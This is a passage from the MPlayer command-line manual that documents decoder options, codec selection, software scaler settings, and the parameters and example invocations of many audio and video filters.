0x0040: motion vector visualization (use -noslices)
0x0080: macroblock (MB) skip
0x0100: startcode
0x0200: PTS
0x0400: error resilience
0x0800: memory management control operations (H.264)
0x1000: bugs
0x2000: Visualize quantization parameter (QP), lower QP are tinted greener.
0x4000: Visualize block types.
ec=<value>
Set error concealment strategy.

1: Use strong deblock filter for damaged MBs.
2: iterative motion vector (MV) search (slow)
3: all (default)
er=<value>
Set error resilience strategy.

0: disabled
1: careful (Should work with broken encoders.)
2: normal (default) (Works with compliant encoders.)
3: aggressive (More checks, but might cause problems even for valid bitstreams.)
4: very aggressive
fast (MPEG-2, MPEG-4, and H.264 only)
Enable optimizations which do not comply to the specification and might potentially cause problems, like simpler dequantization, simpler motion compensation, assuming use of the default quantization matrix, assuming YUV 4:2:0 and skipping a few checks to detect damaged bitstreams.
gray 
grayscale only decoding (a bit faster than with color)
idct=<0-99> (see -lavcopts)
For best decoding quality use the same IDCT algorithm for decoding and encoding. This may come at a price in accuracy, though.
lowres=<number>[,<w>]
Decode at lower resolutions. Low resolution decoding is not supported by all codecs, and it will often result in ugly artifacts. This is not a bug, but a side effect of not decoding at full resolution.

0: disabled
1: 1/2 resolution
2: 1/4 resolution
3: 1/8 resolution
If <w> is specified lowres decoding will be used only if the width of the video is major than or equal to <w>.
sb=<number> (MPEG-2 only)
Skip the given number of macroblock rows at the bottom.
st=<number> (MPEG-2 only)
Skip the given number of macroblock rows at the top.
skiploopfilter=<skipvalue> (H.264 only)
Skips the loop filter (AKA deblocking) during H.264 decoding. Since the filtered frame is supposed to be used as reference for decoding dependent frames this has a worse effect on quality than not doing deblocking on e.g. MPEG-2 video. But at least for high bitrate HDTV this provides a big speedup with no visible quality loss.<skipvalue> can be either one of the following:

none: Never skip.
default: Skip useless processing steps (e.g. 0 size packets in AVI).
nonref: Skip frames that are not referenced (i.e. not used for decoding other frames, the error cannot “build up”).
bidir: Skip B-Frames.
nonkey: Skip all frames except keyframes.
all: Skip all frames.
skipidct=<skipvalue> (MPEG-1/2 only)
Skips the IDCT step. This degrades quality a lot of in almost all cases (see skiploopfilter for available skip values).
skipframe=<skipvalue>
Skips decoding of frames completely. Big speedup, but jerky motion and sometimes bad artifacts (see skiploopfilter for available skip values).
threads=<1-8> (MPEG-1/2 only)
number of threads to use for decoding (default: 1)
vismv=<value>
Visualize motion vectors.

0: disabled
1: Visualize forward predicted MVs of P-frames.
2: Visualize forward predicted MVs of B-frames.
4: Visualize backward predicted MVs of B-frames.
vstats
Prints some statistics and stores them in ./vstats_*.log.
-noslices
Disable drawing video by 16-pixel height slices/:bands, instead draws the whole frame in a single run. May be faster or slower, depending on video card and available cache. It has effect only with libmpeg2 and libavcodec codecs.
-nosound
Do not play/:encode sound. Useful for benchmarking.
-novideo
Do not play/:encode video. In many cases this will not work, use -vc null -vo null instead.
-pp <quality> (also see -vf pp)
Set the DLL postprocess level. This option is no longer usable with -vf pp. It only works with Win32 DirectShow DLLs with internal postprocessing routines. The valid range of -pp values varies by codec, it is mostly 0-6, where 0=disable, 6=slowest/:best.
-pphelp (also see -vf pp)
Show a summary about the available postprocess filters and their usage.
-ssf <mode>
Specifies software scaler parameters.EXAMPLE:

-vf scale -ssf lgb=3.0
lgb=<0-100>
gaussian blur filter (luma)
cgb=<0-100>
gaussian blur filter (chroma)
ls=<-100-100>
sharpen filter (luma)
cs=<-100-100>
sharpen filter (chroma)
chs=<h>
chroma horizontal shifting
cvs=<v>
chroma vertical shifting
-stereo <mode>
Select type of MP2/:MP3 stereo output.

0
stereo
1
left channel
2
right channel
-sws <software scaler type> (also see -vf scale and -zoom)
Specify the software scaler algorithm to be used with the -zoom option. This affects video output drivers which lack hardware acceleration, e.g. x11.Available types are:

0
fast bilinear
1
bilinear
2
bicubic (good quality) (default)
3
experimental
4
nearest neighbor (bad quality)
5
area
6
luma bicubic / chroma bilinear
7
gauss
8
sincR
9
lanczos
10
natural bicubic spline
NOTE: Some -sws options are tunable. The description of the scale video filter has further information.
-vc <[-|+]codec1,[-|+]codec2,…[,]>
Specify a priority list of video codecs to be used, according to their codec name in codecs.conf. Use a ‘-‘ before the codec name to omit it. Use a ‘+’ before the codec name to force it, this will likely crash! If the list has a trailing ‘,’ MPlayer will fall back on codecs not contained in the list.
NOTE: See -vc help for a full list of available codecs.EXAMPLE:

-vc divx
Force Win32/:VfW DivX codec, no fallback.
-vc -divxds,-divx,
Skip Win32 DivX codecs.
-vc ffmpeg12,mpeg12,
Try libavcodec’s MPEG-1/2 codec, then libmpeg2, then others.
-vfm <driver1,driver2,…>
Specify a priority list of video codec families to be used, according to their names in codecs.conf. Falls back on the default codecs if none of the given codec families work.
NOTE: See -vfm help for a full list of available codec families.EXAMPLE:

-vfm ffmpeg,dshow,vfw
Try the libavcodec, then Directshow, then VfW codecs and fall back on others, if they do not work.
-vfm xanim
Try XAnim codecs first.
-x <x> (also see -zoom) (MPlayer only)
Scale image to width <x> (if software/:hardware scaling is available). Disables aspect calculations.
-xvidopts <option1:option2:…>
Specify additional parameters when decoding with Xvid.
NOTE: Since libavcodec is faster than Xvid you might want to use the libavcodec postprocessing filter (-vf pp) and decoder (-vfm ffmpeg) instead.Xvid’s internal postprocessing filters:

deblock-chroma (also see -vf pp)
chroma deblock filter
deblock-luma (also see -vf pp)
luma deblock filter
dering-luma (also see -vf pp)
luma deringing filter
dering-chroma (also see -vf pp)
chroma deringing filter
filmeffect (also see -vf noise)
Adds artificial film grain to the video. May increase perceived quality, while lowering true quality.
rendering methods:
dr2  
Activate direct rendering method 2.
nodr2
Deactivate direct rendering method 2.
-xy <value> (also see -zoom)
value<=8
Scale image by factor <value>.
value>8
Set width to value and calculate height to keep correct aspect ratio.
-y <y> (also see -zoom) (MPlayer only)
Scale image to height <y> (if software/:hardware scaling is available). Disables aspect calculations.
-zoom  
Allow software scaling, where available. This will allow scaling with output drivers (like x11, fbdev) that do not support hardware scaling where MPlayer disables scaling by default for performance reasons.

AUDIO FILTERS

Audio filters allow you to modify the audio stream and its properties. The syntax is:

-af <filter1[=parameter1:parameter2:…],filter2,…>
Setup a chain of audio filters.

NOTE: To get a full list of available audio filters, see -af help.

Available filters are:

resample[=srate[:sloppy[:type]]]
Changes the sample rate of the audio stream. Can be used if you have a fixed frequency sound card or if you are stuck with an old sound card that is only capable of max 44.1kHz. This filter is automatically enabled if necessary. It only supports 16-bit integer and float in native-endian format as input.
NOTE: With MEncoder, you need to also use -srate <srate>.

<srate>
output sample frequency in Hz. The valid range for this parameter is 8000 to 192000. If the input and output sample frequency are the same or if this parameter is omitted the filter is automatically unloaded. A high sample frequency normally improves the audio quality, especially when used in combination with other filters.
<sloppy>
Allow (1) or disallow (0) the output frequency to differ slightly from the frequency given by <srate> (default: 1). Can be used if the startup of the playback is extremely slow.
<type>
Selects which resampling method to use.

0: linear interpolation (fast, poor quality especially when upsampling)
1: polyphase filterbank and integer processing
2: polyphase filterbank and floating point processing (slow, best quality)
EXAMPLE:
mplayer -af resample=44100:0:0
would set the output frequency of the resample filter to 44100Hz using exact output frequency scaling and linear interpolation.
lavcresample[=srate[:length[:linear[:count[:cutoff]]]]]
Changes the sample rate of the audio stream to an integer <srate> in Hz. It only supports the 16-bit native-endian format.
NOTE: With MEncoder, you need to also use -srate <srate>.

<srate>
the output sample rate
<length>
length of the filter with respect to the lower sampling rate (default: 16)
<linear>
if 1 then filters will be linearly interpolated between polyphase entries
<count>
log2 of the number of polyphase entries (…, 10->1024, 11->2048, 12->4096, …) (default: 10->1024)
<cutoff>
cutoff frequency (0.0-1.0), default set depending upon filter length
sweep[=speed]
Produces a sine sweep.

<0.0-1.0>
Sine function delta, use very low values to hear the sweep.
sinesuppress[=freq:decay]
Remove a sine at the specified frequency. Useful to get rid of the 50/60Hz noise on low quality audio equipment. It probably only works on mono input.

<freq>
The frequency of the sine which should be removed (in Hz) (default: 50)
<decay>
Controls the adaptivity (a larger value will make the filter adapt to amplitude and phase changes quicker, a smaller value will make the adaptation slower) (default: 0.0001). Reasonable values are around 0.001.
hrtf[=flag]
Head-related transfer function: Converts multichannel audio to 2 channel output for headphones, preserving the spatiality of the sound.

Flag Meaning
m matrix decoding of the rear channel
s 2-channel matrix decoding
0 no matrix decoding (default)
equalizer=[g1:g2:g3:…:g10]
10 octave band graphic equalizer, implemented using 10 IIR band pass filters. This means that it works regardless of what type of audio is being played back. The center frequencies for the 10 bands are:

No. frequency
0 31.25 Hz
1 62.50 Hz
2 125.00 Hz
3 250.00 Hz
4 500.00 Hz
5 1.00 kHz
6 2.00 kHz
7 4.00 kHz
8 8.00 kHz
9 16.00 kHz
If the sample rate of the sound being played is lower than the center frequency for a frequency band, then that band will be disabled. A known bug with this filter is that the characteristics for the uppermost band are not completely symmetric if the sample rate is close to the center frequency of that band. This problem can be worked around by upsampling the sound using the resample filter before it reaches this filter.
<g1>:<g2>:<g3>:…:<g10>
floating point numbers representing the gain in dB for each frequency band (-12-12)
EXAMPLE:
mplayer -af equalizer=11:11:10:5:0:-12:0:5:12:12 media.avi
Would amplify the sound in the upper and lower frequency region while canceling it almost completely around 1kHz.
channels=nch[:nr:from1:to1:from2:to2:from3:to3:…]
Can be used for adding, removing, routing and copying audio channels. If only <nch> is given the default routing is used, it works as follows: If the number of output channels is bigger than the number of input channels empty channels are inserted (except mixing from mono to stereo, then the mono channel is repeated in both of the output channels). If the number of output channels is smaller than the number of input channels the exceeding channels are truncated.

<nch>
number of output channels (1-6)
<nr> 
number of routes (1-6)
<from1:to1:from2:to2:from3:to3:…>
Pairs of numbers between 0 and 5 that define where to route each channel.
EXAMPLE:
mplayer -af channels=4:4:0:1:1:0:2:2:3:3 media.avi
Would change the number of channels to 4 and set up 4 routes that swap channel 0 and channel 1 and leave channel 2 and 3 intact. Observe that if media containing two channels was played back, channels 2 and 3 would contain silence but 0 and 1 would still be swapped.
mplayer -af channels=6:4:0:0:0:1:0:2:0:3 media.avi
Would change the number of channels to 6 and set up 4 routes that copy channel 0 to channels 0 to 3. Channel 4 and 5 will contain silence.
mplayer -af channels=6:6:0:4:1:0:2:1:3:2:4:3:5:5 media.avi
Should make the 6-channel ffdca (DTS) output work correctly with ALSA.
format[=format] (also see -format)
Convert between different sample formats. Automatically enabled when needed by the sound card or another filter.

<format>
Sets the desired format. The general form is ‘sbe’, where ‘s’ denotes the sign (either ‘s’ for signed or ‘u’ for unsigned), ‘b’ denotes the number of bits per sample (16, 24 or 32) and ‘e’ denotes the endianness (‘le’ means little-endian, ‘be’ big-endian and ‘ne’ the endianness of the computer MPlayer is running on). Valid values (amongst others) are: ‘s16le’, ‘u32be’ and ‘u24ne’. Exceptions to this rule that are also valid format specifiers: u8, s8, floatle, floatbe, floatne, mulaw, alaw, mpeg2, ac3 and imaadpcm.
volume[=v[:sc]]
Implements software volume control. Use this filter with caution since it can reduce the signal to noise ratio of the sound. In most cases it is best to set the level for the PCM sound to max, leave this filter out and control the output level to your speakers with the master volume control of the mixer. In case your sound card has a digital PCM mixer instead of an analog one, and you hear distortion, use the MASTER mixer instead. If there is an external amplifier connected to the computer (this is almost always the case), the noise level can be minimized by adjusting the master level and the volume knob on the amplifier until the hissing noise in the background is gone.
This filter has a second feature: It measures the overall maximum sound level and prints out that level when MPlayer exits. This volume estimate can be used for setting the sound level in MEncoder such that the maximum dynamic range is utilized.
NOTE: This filter is not reentrant and can therefore only be enabled once for every audio stream.

<v>  
Sets the desired gain in dB for all channels in the stream from -200dB to +60dB, where -200dB mutes the sound completely and +60dB equals a gain of 1000 (default: 0).
<sc> 
Turns soft clipping on (1) or off (0). Soft-clipping can make the sound more smooth if very high volume levels are used. Enable this option if the dynamic range of the loudspeakers is very low.
WARNING: This feature creates distortion and should be considered a last resort.
EXAMPLE:
mplayer -af volume=10.1:0 media.avi
Would amplify the sound by 10.1dB and hard-clip if the sound level is too high.
pan=n[:L00:L01:L02:…L10:L11:L12:…Ln0:Ln1:Ln2:…]
Mixes channels arbitrarily. Basically a combination of the volume and the channels filter that can be used to down-mix many channels to only a few, e.g. stereo to mono or vary the “width” of the center speaker in a surround sound system. This filter is hard to use, and will require some tinkering before the desired result is obtained. The number of options for this filter depends on the number of output channels. An example how to downmix a six-channel file to two channels with this filter can be found in the examples section near the end.

<n>  
number of output channels (1-6)
<Lij>
How much of input channel i is mixed into output channel j (0-1). So in principle you first have n numbers saying what to do with the first input channel, then n numbers that act on the second input channel etc. If you do not specify any numbers for some input channels, 0 is assumed.
EXAMPLE:
mplayer -af pan=1:0.5:0.5 media.avi
Would down-mix from stereo to mono.
mplayer -af pan=3:1:0:0.5:0:1:0.5 media.avi
Would give 3 channel output leaving channels 0 and 1 intact, and mix channels 0 and 1 into output channel 2 (which could be sent to a subwoofer for example).
sub[=fc:ch]
Adds a subwoofer channel to the audio stream. The audio data used for creating the subwoofer channel is an average of the sound in channel 0 and channel 1. The resulting sound is then low-pass filtered by a 4th order Butterworth filter with a default cutoff frequency of 60Hz and added to a separate channel in the audio stream.
Warning: Disable this filter when you are playing DVDs with Dolby Digital 5.1 sound, otherwise this filter will disrupt the sound to the subwoofer.

<fc> 
cutoff frequency in Hz for the low-pass filter (20Hz to 300Hz) (default: 60Hz) For the best result try setting the cutoff frequency as low as possible. This will improve the stereo or surround sound experience.
<ch> 
Determines the channel number in which to insert the sub-channel audio. Channel number can be between 0 and 5 (default: 5). Observe that the number of channels will automatically be increased to <ch> if necessary.
EXAMPLE:
mplayer -af sub=100:4 -channels 5 media.avi
Would add a sub-woofer channel with a cutoff frequency of 100Hz to output channel 4.
center 
Creates a center channel from the front channels. May currently be low quality as it does not implement a high-pass filter for proper extraction yet, but averages and halves the channels instead.

<ch> 
Determines the channel number in which to insert the center channel. Channel number can be between 0 and 5 (default: 5). Observe that the number of channels will automatically be increased to <ch> if necessary.
surround[=delay]
Decoder for matrix encoded surround sound like Dolby Surround. Many files with 2 channel audio actually contain matrixed surround sound. Requires a sound card supporting at least 4 channels.

<delay>
delay time in ms for the rear speakers (0 to 1000) (default: 20) This delay should be set as follows: If d1 is the distance from the listening position to the front speakers and d2 is the distance from the listening position to the rear speakers, then the delay should be set to 15ms if d1 <= d2 and to 15 + 5*(d1-d2) if d1 > d2.
EXAMPLE:
mplayer -af surround=15 -channels 4 media.avi
Would add surround sound decoding with 15ms delay for the sound to the rear speakers.
delay[=ch1:ch2:…]
Delays the sound to the loudspeakers such that the sound from the different channels arrives at the listening position simultaneously. It is only useful if you have more than 2 loudspeakers.

ch1,ch2,…
The delay in ms that should be imposed on each channel (floating point number between 0 and 1000).
To calculate the required delay for the different channels do as follows:

1.
Measure the distance to the loudspeakers in meters in relation to your listening position, giving you the distances s1 to s5 (for a 5.1 system). There is no point in compensating for the subwoofer (you will not hear the difference anyway).
2.
Subtract the distances s1 to s5 from the maximum distance, i.e. s[i] = max(s) – s[i]; i = 1…5.
3.
Calculate the required delays in ms as d[i] = 1000*s[i]/342; i = 1…5.
EXAMPLE:
mplayer -af delay=10.5:10.5:0:0:7:0 media.avi
Would delay front left and right by 10.5ms, the two rear channels and the sub by 0ms and the center channel by 7ms.
export[=mmapped_file[:nsamples]]
Exports the incoming signal to other processes using memory mapping (mmap()). Memory mapped areas contain a header:

int nch                      /*number of channels*/
int size                     /*buffer size*/
unsigned long long counter   /*Used to keep sync, updated every
                               time new data is exported.*/

The rest is payload (non-interleaved) 16 bit data.

<mmapped_file>
file to map data to (default: ~/.mplayer/:mplayer-af_export)
<nsamples>
number of samples per channel (default: 512)
EXAMPLE:
mplayer -af export=/tmp/mplayer-af_export:1024 media.avi
Would export 1024 samples per channel to ‘/tmp/mplayer-af_export’.
extrastereo[=mul]
(Linearly) increases the difference between left and right channels which adds some sort of “live” effect to playback.

<mul>
Sets the difference coefficient (default: 2.5). 0.0 means mono sound (average of both channels), with 1.0 sound will be unchanged, with -1.0 left and right channels will be swapped.
volnorm[=method:target]
Maximizes the volume without distorting the sound.

<method>
Sets the used method.

1: Use a single sample to smooth the variations via the standard weighted mean over past samples (default).
2: Use several samples to smooth the variations via the standard weighted mean over past samples.
<target>
Sets the target amplitude as a fraction of the maximum for the sample type (default: 0.25).
ladspa=file:label[:controls…]
Load a LADSPA (Linux Audio Developer’s Simple Plugin API) plugin. This filter is reentrant, so multiple LADSPA plugins can be used at once.

<file>
Specifies the LADSPA plugin library file. If LADSPA_PATH is set, it searches for the specified file. If it is not set, you must supply a fully specified pathname.
<label>
Specifies the filter within the library. Some libraries contain only one filter, but others contain many of them. Entering ‘help’ here, will list all available filters within the specified library, which eliminates the use of ‘listplugins’ from the LADSPA SDK.
<controls>
Controls are zero or more floating point values that determine the behavior of the loaded plugin (for example delay, threshold or gain). In verbose mode (add -v to the MPlayer command line), all available controls and their valid ranges are printed. This eliminates the use of ‘analyseplugin’ from the LADSPA SDK.
comp   
Compressor/expander filter usable for microphone input. Prevents artifacts on very loud sound and raises the volume on very low sound. This filter is untested, maybe even unusable.
gate   
Noise gate filter similar to the comp audio filter. This filter is untested, maybe even unusable.
karaoke
Simple voice removal filter exploiting the fact that voice is usually recorded with mono gear and later ‘center’ mixed onto the final audio stream. Beware that this filter will turn your signal into mono. Works well for 2 channel tracks; do not bother trying it on anything but 2 channel stereo.

VIDEO FILTERS

Video filters allow you to modify the video stream and its properties. The syntax is:

-vf <filter1[=parameter1:parameter2:…],filter2,…>
Setup a chain of video filters.

Many parameters are optional and set to default values if omitted. To explicitly use a default value set a parameter to ‘-1’. Parameters w:h means width x height in pixels, x:y means x;y position counted from the upper left corner of the bigger image.
NOTE: To get a full list of available video filters, see -vf help.

Video filters are managed in lists. There are a few commands to manage the filter list.

-vf-add <filter1[,filter2,…]>
Appends the filters given as arguments to the filter list.
-vf-pre <filter1[,filter2,…]>
Prepends the filters given as arguments to the filter list.
-vf-del <index1[,index2,…]>
Deletes the filters at the given indexes. Index numbers start at 0, negative numbers address the end of the list (-1 is the last).
-vf-clr
Completely empties the filter list.

With filters that support it, you can access parameters by their name.

-vf <filter>=help
Prints the parameter names and parameter value ranges for a particular filter.
-vf <filter=named_parameter1=value1[:named_parameter2=value2:…]>
Sets a named parameter to the given value. Use on and off or yes and no to set flag parameters.

Available filters are:

crop[=w:h:x:y]
Crops the given part of the image and discards the rest. Useful to remove black bands from widescreen movies.

<w>,<h>
Cropped width and height, defaults to original width and height.
<x>,<y>
Position of the cropped picture, defaults to center.
cropdetect[=limit:round]
Calculates necessary cropping parameters and prints the recommended parameters to stdout.

<limit>
Threshold, which can be optionally specified from nothing (0) to everything (255) (default: 24).
<round>
Value which the width/:height should be divisible by (default: 16). The offset is automatically adjusted to center the video. Use 2 to get only even dimensions (needed for 4:2:2 video). 16 is best when encoding to most video codecs.
rectangle[=w:h:x:y]
The plugin responds to the input.conf directive ‘change_rectangle’ that takes two parameters.

<w>,<h>
width and height (default: -1, maximum possible width where boundaries are still visible.)
<x>,<y>
top left corner position (default: -1, uppermost leftmost)
expand[=w:h:x:y:o:a:r]
Expands (not scales) movie resolution to the given value and places the unscaled original at coordinates x, y. Can be used for placing subtitles/:OSD in the resulting black bands.

<w>,<h>
Expanded width,height (default: original width,height). Negative values for w and h are treated as offsets to the original size.EXAMPLE:

expand=0:-50:0:0
Adds a 50 pixel border to the bottom of the picture.
<x>,<y>
position of original image on the expanded image (default: center)
<o>  
OSD/:subtitle rendering

0: disable (default)
1: enable
<a>  
Expands to fit an aspect instead of a resolution (default: 0).EXAMPLE:

expand=800:::::4/3
Expands to 800×600, unless the source is higher resolution, in which case it expands to fill a 4/3 aspect.
<r>  
Rounds up to make both width and height divisible by <r> (default: 1).
flip (also see -flip)
Flips the image upside down.
mirror 
Mirrors the image on the Y axis.
rotate[=<0-7>]
Rotates the image by 90 degrees and optionally flips it. For values between 4-7 rotation is only done if the movie geometry is portrait and not landscape.

0
Rotate by 90 degrees clockwise and flip (default).
1
Rotate by 90 degrees clockwise.
2
Rotate by 90 degrees counterclockwise.
3
Rotate by 90 degrees counterclockwise and flip.
scale[=w:h[:ilaced[:chr_drop[:par[:par2[:presize[:noup[:arnd]]]]]]]]
Scales the image with the software scaler (slow) and performs a YUV<->RGB colorspace conversion (also see -sws).

<w>,<h>
scaled width/:height (default: original width/:height)
NOTE: If -zoom is used, and underlying filters (including libvo) are incapable of scaling, it defaults to d_width/:d_height!

0:   scaled d_width/:d_height
-1: original width/:height
-2: Calculate w/h using the other dimension and the prescaled aspect ratio.
-3: Calculate w/h using the other dimension and the original aspect ratio.
-(n+8): Like -n above, but rounding the dimension to the closest multiple of 16.
<ilaced>
Toggle interlaced scaling.

0: off (default)
1: on
<chr_drop>
chroma skipping

0: Use all available input lines for chroma.
1: Use only every 2. input line for chroma.
2: Use only every 4. input line for chroma.
3: Use only every 8. input line for chroma.
<par>[:<par2>] (also see -sws)
Set some scaling parameters depending on the type of scaler selected with -sws.

-sws 2 (bicubic): B (blurring) and C (ringing)
0.00:0.60 default
0.00:0.75 VirtualDub’s “precise bicubic”
0.00:0.50 Catmull-Rom spline
0.33:0.33 Mitchell-Netravali spline
1.00:0.00 cubic B-spline
-sws 7 (gaussian): sharpness (0 (soft) – 100 (sharp))
-sws 9 (lanczos): filter length (1-10)
<presize>
Scale to preset sizes.

qntsc: 352×240 (NTSC quarter screen)
qpal: 352×288 (PAL quarter screen)
ntsc: 720×480 (standard NTSC)
pal: 720×576 (standard PAL)
sntsc: 640×480 (square pixel NTSC)
spal: 768×576 (square pixel PAL)
<noup>
Disallow upscaling past the original dimensions.

0: Allow upscaling (default).
1: Disallow upscaling if one dimension exceeds its original value.
2: Disallow upscaling if both dimensions exceed their original values.
<arnd>
Accurate rounding for the vertical scaler, which may be faster or slower than the default rounding.

0: Disable accurate rounding (default).
1: Enable accurate rounding.
dsize[=aspect|w:h:aspect-method:r]
Changes the intended display size/:aspect at an arbitrary point in the filter chain. Aspect can be given as a fraction (4/3) or floating point number (1.33). Alternatively, you may specify the exact display width and height desired. Note that this filter does not do any scaling itself; it just affects what later scalers (software or hardware) will do when auto-scaling to correct aspect.

<w>,<h>
New display width and height. Can also be these special values:

0:   original display width and height
-1: original video width and height (default)
-2: Calculate w/h using the other dimension and the original display aspect ratio.
-3: Calculate w/h using the other dimension and the original video aspect ratio.

EXAMPLE:

dsize=800:-2
Specifies a display resolution of 800×600 for a 4/3 aspect video, or 800×450 for a 16/9 aspect video.
<aspect-method>
Modifies width and height according to original aspect ratios.

-1: Ignore original aspect ratio (default).

0: Keep display aspect ratio by using <w> and <h> as maximum resolution.

1: Keep display aspect ratio by using <w> and <h> as minimum resolution.

2: Keep video aspect ratio by using <w> and <h> as maximum resolution.

3: Keep video aspect ratio by using <w> and <h> as minimum resolution.

EXAMPLE:

dsize=800:600:0
Specifies a display resolution of at most 800×600, or smaller, in order to keep aspect.
<r>  
Rounds up to make both width and height divisible by <r> (default: 1).
yuy2   
Forces software YV12/:I420/:422P to YUY2 conversion. Useful for video cards/:drivers with slow YV12 but fast YUY2 support.
yvu9   
Forces software YVU9 to YV12 colorspace conversion. Deprecated in favor of the software scaler.
yuvcsp 
Clamps YUV color values to the CCIR 601 range without doing real conversion.
rgb2bgr[=swap]
RGB 24/32 <-> BGR 24/32 colorspace conversion.

swap 
Also perform R <-> B swapping.
palette
RGB/BGR 8 -> 15/16/24/32bpp colorspace conversion using palette.
format[=fourcc]
Restricts the colorspace for the next filter without doing any conversion. Use together with the scale filter for a real conversion.
NOTE: For a list of available formats see format=fmt=help.

<fourcc>
format name like rgb15, bgr24, yv12, etc (default: yuy2)
noformat[=fourcc]
Restricts the colorspace for the next filter without doing any conversion. Unlike the format filter, this will allow any colorspace except the one you specify.
NOTE: For a list of available formats see noformat=fmt=help.

<fourcc>
format name like rgb15, bgr24, yv12, etc (default: yv12)
pp[=filter1[:option1[:option2…]]/[-]filter2…] (also see -pphelp)
Enables the specified chain of postprocessing subfilters. Subfilters must be separated by ‘/’ and can be disabled by prepending a ‘-‘. Each subfilter and some options have a short and a long name that can be used interchangeably, i.e. dr/dering are the same. All subfilters share common options to determine their scope:

a/autoq
Automatically switch the subfilter off if the CPU is too slow.
c/chrom
Do chrominance filtering, too (default).
y/nochrom
Do luminance filtering only (no chrominance).
n/noluma
Do chrominance filtering only (no luminance).
NOTE: -pphelp shows a list of available subfilters.Available subfilters are

hb/hdeblock[:difference[:flatness]]
horizontal deblocking filter

<difference>: Difference factor where higher values mean more deblocking (default: 32).
<flatness>: Flatness threshold where lower values mean more deblocking (default: 39).
vb/vdeblock[:difference[:flatness]]
vertical deblocking filter

<difference>: Difference factor where higher values mean more deblocking (default: 32).
<flatness>: Flatness threshold where lower values mean more deblocking (default: 39).
ha/hadeblock[:difference[:flatness]]
accurate horizontal deblocking filter

<difference>: Difference factor where higher values mean more deblocking (default: 32).
<flatness>: Flatness threshold where lower values mean more deblocking (default: 39).
va/vadeblock[:difference[:flatness]]
accurate vertical deblocking filter

<difference>: Difference factor where higher values mean more deblocking (default: 32).
<flatness>: Flatness threshold where lower values mean more deblocking (default: 39).

The horizontal and vertical deblocking filters share the difference and flatness values so you cannot set different horizontal and vertical thresholds.

h1/x1hdeblock
experimental horizontal deblocking filter
v1/x1vdeblock
experimental vertical deblocking filter
dr/dering
deringing filter
tn/tmpnoise[:threshold1[:threshold2[:threshold3]]]
temporal noise reducer

<threshold1>: larger -> stronger filtering
<threshold2>: larger -> stronger filtering
<threshold3>: larger -> stronger filtering
al/autolevels[:f/fullyrange]
automatic brightness / contrast correction

f/fullyrange: Stretch luminance to (0-255).
lb/linblenddeint
Linear blend deinterlacing filter that deinterlaces the given block by filtering all lines with a (1 2 1) filter.
li/linipoldeint
Linear interpolating deinterlacing filter that deinterlaces the given block by linearly interpolating every second line.
ci/cubicipoldeint
Cubic interpolating deinterlacing filter deinterlaces the given block by cubically interpolating every second line.
md/mediandeint
Median deinterlacing filter that deinterlaces the given block by applying a median filter to every second line.
fd/ffmpegdeint
FFmpeg deinterlacing filter that deinterlaces the given block by filtering every second line with a (-1 4 2 4 -1) filter.
l5/lowpass5
Vertically applied FIR lowpass deinterlacing filter that deinterlaces the given block by filtering all lines with a (-1 2 6 2 -1) filter.
fq/forceQuant[:quantizer]
Overrides the quantizer table from the input with the constant quantizer you specify.

<quantizer>: quantizer to use
de/default
default pp filter combination (hb:a,vb:a,dr:a)
fa/fast
fast pp filter combination (h1:a,v1:a,dr:a)
ac   
high quality pp filter combination (ha:a:128:7,va:a,dr:a)
EXAMPLE:

-vf pp=hb/vb/dr/al
horizontal and vertical deblocking, deringing and automatic brightness/:contrast
-vf pp=de/-al
default filters without brightness/:contrast correction
-vf pp=default/tmpnoise:1:2:3
Enable default filters & temporal denoiser.
-vf pp=hb:y/vb:a
Horizontal deblocking on luminance only, and switch vertical deblocking on or off automatically depending on available CPU time.
spp[=quality[:qp[:mode]]]
Simple postprocessing filter that compresses and decompresses the image at several (or – in the case of quality level 6 – all) shifts and averages the results.

<quality>
0-6 (default: 3)
<qp> 
Force quantization parameter (default: 0, use QP from video).
<mode>
0: hard thresholding (default)
1: soft thresholding (better deringing, but blurrier)
4: like 0, but also use B-frames’ QP (may cause flicker)
5: like 1, but also use B-frames’ QP (may cause flicker)
uspp[=quality[:qp]]
Ultra simple & slow postprocessing filter that compresses and decompresses the image at several (or – in the case of quality level 8 – all) shifts and averages the results. The way this differs from the behavior of spp is that uspp actually encodes & decodes each case with libavcodec Snow, whereas spp uses a simplified intra only 8×8 DCT similar to MJPEG.

<quality>
0-8 (default: 3)
<qp> 
Force quantization parameter (default: 0, use QP from video).
fspp[=quality[:qp[:strength[:bframes]]]]
faster version of the simple postprocessing filter

<quality>
4-5 (equivalent to spp; default: 4)
<qp> 
Force quantization parameter (default: 0, use QP from video).
<-15-32>
Filter strength, lower values mean more details but also more artifacts, while higher values make the image smoother but also blurrier (default: 0 – PSNR optimal).
<bframes>
0: do not use QP from B-frames (default)
1: use QP from B-frames too (may cause flicker)
pp7[=qp[:mode]]
Variant of the spp filter, similar to spp=6 with 7 point DCT where only the center sample is used after IDCT.

<qp> 
Force quantization parameter (default: 0, use QP from video).
<mode>
0: hard thresholding
1: soft thresholding (better deringing, but blurrier)
2: medium thresholding (default, good results)
qp=equation
quantization parameter (QP) change filter

<equation>
some equation like “2+2*sin(PI*qp)”
geq=equation
generic equation change filter

<equation>
Some equation, e.g. ‘p(W-X\,Y)’ to flip the image horizontally. You can use whitespace to make the equation more readable. There are a couple of constants that can be used in the equation:

PI: the number pi
E: the number e
X / Y: the coordinates of the current sample
W / H: width and height of the image
SW / SH: width/height scale depending on the currently filtered plane, e.g. 1,1 and 0.5,0.5 for YUV 4:2:0.
p(x,y): returns the value of the pixel at location x/y of the current plane.
test   
Generate various test patterns.
rgbtest
Generate an RGB test pattern useful for detecting RGB vs BGR issues. You should see a red, green and blue stripe from top to bottom.
lavc[=quality:fps]
Fast software YV12 to MPEG-1 conversion with libavcodec for use with DVB/:DXR3/:IVTV/:V4L2.

<quality>
1-31: fixed qscale
32-: fixed bitrate in kbits
<fps>
force output fps (float value) (default: 0, autodetect based on height)
dvbscale[=aspect]
Set up optimal scaling for DVB cards, scaling the x axis in hardware and calculating the y axis scaling in software to keep aspect. Only useful together with expand and scale.

<aspect>
Control aspect ratio, calculate as DVB_HEIGHT*ASPECTRATIO (default: 576*4/3=768), set it to 576*(16/9)=1024 for a 16:9 TV.
EXAMPLE:
-vf dvbscale,scale=-1:0,expand=-1:576:-1:-1:1,lavc
FIXME: Explain what this does.
noise[=luma[u][t|a][h][p]:chroma[u][t|a][h][p]]
Adds noise.

<0-100>
luma noise
<0-100>
chroma noise
u
uniform noise (gaussian otherwise)
t
temporal noise (noise pattern changes between frames)
a
averaged temporal noise (smoother, but a lot slower)
h
high quality (slightly better looking, slightly slower)
p
